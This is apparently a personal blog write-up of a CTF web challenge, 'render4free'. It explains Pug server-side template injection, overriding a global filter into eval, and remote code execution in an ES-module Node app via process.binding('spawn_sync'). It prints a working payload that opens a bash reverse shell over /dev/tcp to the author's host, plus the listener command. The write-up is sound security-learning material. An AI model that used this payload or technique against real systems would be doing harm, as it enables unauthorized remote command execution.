---
# System prepended metadata

title: SOME WEB THINGs THAT I LEARNED (part 6)
tags: [Learn with me xD]

---

# *SOME WEB THINGs THAT I LEARNED (part 6)*

#### Recently i got some new things that i learned from some challs that i want to share.

##### I recently solve a challenge on the W1 playgound and i want to share with you guys the process xD. This challenge is created by Shin24, RESPECT +

## render4free
- This challenge took me quite sometimes, by sometimes i mean 5 days to be precise LOL. The payload use in this is on google, definitely since there are blogs where people explain why you use this. 
- But I haven't been able to find any blog or write up that actually explain why and how to construct this. So today Imma be the first to do that xDD. Hold on tight because it's gonna be a longggggggg blog.
### 1. The challenge:
- The challenge is a web app using the ```Pug``` template. The web app will take what we input, then render it out to the screen using ```Pug``` template engine.
#### a) Source code
- The source code starts with importing the required lib. 
- It then declared a global function ```replace_bad_char```. This function will check whether our input string contains bad character. If so, replace it with nothing. Keep in mind, this is a global function.
![image](https://hackmd.io/_uploads/rJYYt_c5p.png)

- Let's move on to the server part, it's a simple server to check and render out what we input. We will try to focus on what's important.
![image](https://hackmd.io/_uploads/ryHURdq5a.png)

- Next, the challenge declares something really odd.
![image](https://hackmd.io/_uploads/rkB_5d5c6.png)
- When declare this, it will override the orginal behaviour of the **```then```** method of the ```Promise.prototype```. What's a ```Promise```? 
    - ```Promise``` is an object which represent the result when executing an asynchronous process, which either success, or rejected.
    - You can read more here, it's pretty long but there are docs so you can read them online: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise
    - The **```then```** will takes 2 args, one for success handling and the other for error handling. This method will return a promise, which allow for for chaining multiple calls to the next function.
    - You can read more about it here for more info: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then

- Last, we can't forget this, this is the problem for this challenge. Not like a bug, but rather making the challenge a sandbox (idk if im correct here xD).
- Inside of ```package.json``` there's a line that defines *```"type":"module"```*. Doing some searches about this, it says that:
    - When using *```"type":"module"```*, we have to use the import syntax for our code. In Javascript there are 2 types of syntax for our code: CommonJS and ESM. Where as in CommonJS, we will use require() to import the libraries, in ESM, we need to use import. This explain why the source need to import the libs, not required it.
    - Wanna read about it? Here: https://nodejs.org/api/esm.html
#### b) Planning
- Now we have go through the code together, let's see what we need to do.
- It's using ```pug.render()``` to render out our input => SSTI? Well yes, but no. We can SSTI, but there's a big barrier standing between us and SSTI, the filter ```replace_bad_char```.
- Let's take a look back at the code. The function is defined as a global function. A global function can be access from anywhere within the web app. But what's about it?
- Taking a look at ```Pug```'s document, I saw something interesting. ```Pug allows you to write inline JavaScript code in your templates. There are three types of code: Unbuffered, Buffered, and Unescaped Buffered.```
![image](https://hackmd.io/_uploads/B1-5wfTqa.png)

- So ```pug``` allows you to run code when rendering template. By adding a **``` - ```** at the start, we are able to run Javascript code. A global function that we can access from everywhere, thus we are able to write Javascript code? Sounds like a function override to me xDDD.
- By overriding the global function, we can make it to not filtering anything now, and maybe, make it to become a sussy functio, like an eval function ya know.
- So after we got an eval function, we just now need to RCE, right? Yeah xD. But let's take a step back and remember something, inside the ```package.json```, as I mentioned before, *```"type":"module"```*. So we cannot use like require chile_process or something like that, but rather we need to import child_process. This is called: ```dynamic import```. Now what is dynamic import? You can read about it here, probable will have better explaination than me: https://medium.com/@nlfernando11/javascript-dynamically-import-c2b890d75b5a
    - Basically, when you import something, it loads that module, then it returns an object that contains its exported functions, or we call it a ```Promise```.
- But hold on a minute. Using ```dynamic import``` will return a ```Promise```, but at the start of the challenge, the ```Promise.prototype``` method, which is **```then```** is overriden, which now will returns nothing. 
    - So basically we need to RCE using dynamic import, which will return a Promise. But the Promise now will not return anything since its return statement is now empty. LOL moment xD
- So what are we gonna do now? Let's move on to my process of researching.

### 2. The process:
#### a) Finding the payload online:
- First, the thing we will always do, searching for the payload online. Searching for ```NodeJS RCE without require```, i stumble upon this article: https://jwlss.pw/mathjs/
- Reading the article, i might have just found something to start with when building the payload.
![image](https://hackmd.io/_uploads/r1ZUsC69T.png)

- ```Process.binding()```?? That's new, looks like it can call to the OS?? Let's try to search for RCE with ```Process.binding```, see if we can find anything new, which then i found this: https://ctftime.org/writeup/25083
- A CTF challenge?? Seems nice. And look what we find here:
![image](https://hackmd.io/_uploads/r1_r00acT.png)

- A similar case, using ```Process.binding```. But how do they get that payload? Looking at that payload, I don't understand anything LOL. Asking Shin24 for hints, he said:"Research yourself, lol".
- So I did the research myself ...
#### b) Analyze NodeJS for understanding:
- Let's begin from the start.
    - **```Process.binding()```**: A brief explaination would be it will connect the JS side of Node with C++ side of Node, which it will return a module. Since C++ contains most of Node internal modules, this is where your Node code relies on ultimately. You can read about it here: https://medium.com/front-end-weekly/internals-of-node-advance-node-%EF%B8%8F-8612f6a957d7
        - This can also be confirm when lookinmg at NodeJS source code in ```node/lib/internal/bootstrap/realm.js```:
        - It first defines the allowed binding process.![image](https://hackmd.io/_uploads/Bk45uy0c6.png)
        - It then declared 2 function ```binding``` and ```_linkedbinding```.![image](https://hackmd.io/_uploads/ryhRez0c6.png)
        - Setting up the ```internalBinding```. This is use to bind to C++ internal module.![image](https://hackmd.io/_uploads/SyWp7MCq6.png)
        - Export the ```internalBinding```, which can be use for other module.![image](https://hackmd.io/_uploads/S1Ol4MCqp.png)
    - **```('spawn_sync').spawn()```**: The process binding is use to bind with the C++ side of NodeJS, and remember that in the allowed process for binding list, there is a process called ```spawn_sync```. Search for spawn_sync will return *spawn_sync.h* and *spawn_sync.cc*.
        - **spawn_sync.h**: Declares lots of functions that will be define and use in *spawn_sync.cc* to use to spawn a synchronous process.
        - **spawn_sync.cc**: Let's go through the important part:
            - Define ```SyncProcessStdioPipe``` which is the pipe use for in a subprocess. Contains 3 variable **```stdin, stdout, sdterr```**.It then checks for the boolean writeable and readable variable. ![image](https://hackmd.io/_uploads/Hk6K_f0qp.png)
            - Start the pipe, checks if whether readable or writable is true or false.![image](https://hackmd.io/_uploads/rkjnFzRca.png)
            - Defines the spawn method using ```setMethod``` with the ```Spawn``` function below being defined.![image](https://hackmd.io/_uploads/BykboGC5T.png)
            - At the bottom, it will declare for internal and external references. Like export the module?? ![image](https://hackmd.io/_uploads/r1Rq0G09p.png)

- That wraps it up for the ```spawn_sync``` module. But now what about the ```file, args, stdio``` params? How do we know to construct like that? This is where i stuck for most of the time, 
- Process binding is the bridge between NodeJS C++ and Javascript. I decided to look at ```child_process.js``` to see if anything caught my eyes. I found this which I think might be the correct answer.
    - Bind with the internal ```spawn_sync``` module.![image](https://hackmd.io/_uploads/SkpkNmCqa.png)
    
    - Declared the ```spawnSync``` function. Takes in the variable options. Also checks for the stdio. Now remember stdio will contains 3 variable stdin, out and err. And looks like the second and third would be for stdout and stderr.![image](https://hackmd.io/_uploads/ByUXrQ0qT.png)
        - Looking around for what the options would be, I find this. ![image](https://hackmd.io/_uploads/HJ-6LQAcp.png)
        - The ChildProcess.prototype spawn method will first validate ```stdio```, default for this would be ```pipe```.
        - It will then serialize base on our option, for default will be ```json```. 
        - It will then validate our ```file``` and ```args```. ![image](https://hackmd.io/_uploads/S14dvQ0c6.png)
        - The docs for ```spawnfile``` and ```spawnargs``` can be found here.![image](https://hackmd.io/_uploads/H19CwX0cp.png)
        - It will execute the file that being input, with the args is the command for that executable file.

#### c) Summary:
- So based on everything that I have found, I conclude that:
    - First, ```process.binding``` will let us use the internal module in the C++ side of Javascript.
    - We can then call to the internal module of Javascript, which would be ```spawn_sync``` with the spawn method to spawn out a synchronous process.
    - Base on ```child_process.js```, we need to provide 3 properties to spawn a synchronous process:
        - File: executable file or command to run.
        - Args: the arguments along with the file or command to run, if nto provide then default will be empty.
        - Stdio: an array containing 3 stdin, stdout and stderr. This will form the pipe for the subprocess that NodeJs will process.
            - Stdin: type ```pipe``` is default, readable will be True since its an input, writable will be False.
            - Stdout: type ```pipe```, readable will be False while writable be True for output.
            - Stderr: same as Stdout for writting out error.
### 3. Exploitation:
- Override the global function.
![image](https://hackmd.io/_uploads/rkRcAXks6.png)
- Setting it to a vulnerable function.
![image](https://hackmd.io/_uploads/BkdpAQ1ia.png)
- Testing the ```eval()``` function.
![image](https://hackmd.io/_uploads/H1IfJE1ja.png)
- It works. Now let's see what happened if we were to send a RCE payload using ```require()```. Since module type is being set to the whole web app, using ```require()``` in CommonJS will not work, but rather we need to use ```dynamic import```.
![image](https://hackmd.io/_uploads/By8u44JiT.png)

- Testing dynamic import, looking at its docs it said that will import ones module, then call to its function which being export, or we can also write a function in it. Testing payload:
```javasctipt
import('child_process').then(() => console.log('lmao'))
```
- Sending ... 
![image](https://hackmd.io/_uploads/B1MtxCesT.png)


- Returns ```null``` since the **```.then()```** method of ```Promise.prototype``` is being set to return null. Now let's send the payload that we discovered. I modified the payload a bit, here is my payload:
```javascript
process.binding('spawn_sync').spawn({
    file: 'bash',
    args: ['bash','-c','exec bash -i &>/dev/tcp/myIP/myPort <&1'],
    stdio: [{type:'pipe',readable:!0,writable:!1},
            {type:'pipe',readable:!1,writable:!0},
            {type:'pipe',readable:!1,writable:!0}]})
```
- Running ```nc -lnvp {myPort}``` on my Linux, let's send the payload to see if it works.
![image](https://hackmd.io/_uploads/SJ_adTxoT.png)
![image](https://hackmd.io/_uploads/HJQhdpxop.png)

- Aha, now I have a shell, let's do whatever I want, which is read the flag of course. Running ```cat /flag``` will get a ```Permission denied```, but we have an executable file called ```read_flag```. Let's run ```./readflag```.
![image](https://hackmd.io/_uploads/BkPOtpxip.png)

- *GG!!!*
![image](https://hackmd.io/_uploads/B1SAtTgjp.png)

### What i learned
- A new ways NodeJS can be RCE. This requires me to read and trace a lot LOL, took me 5 days to complete.
- Get to know more about Javascript and NodeJS.
- I don't know what else to say ...

## Thank you for reading >.< Gud bye
![image](https://hackmd.io/_uploads/rk-UgZatp.png)
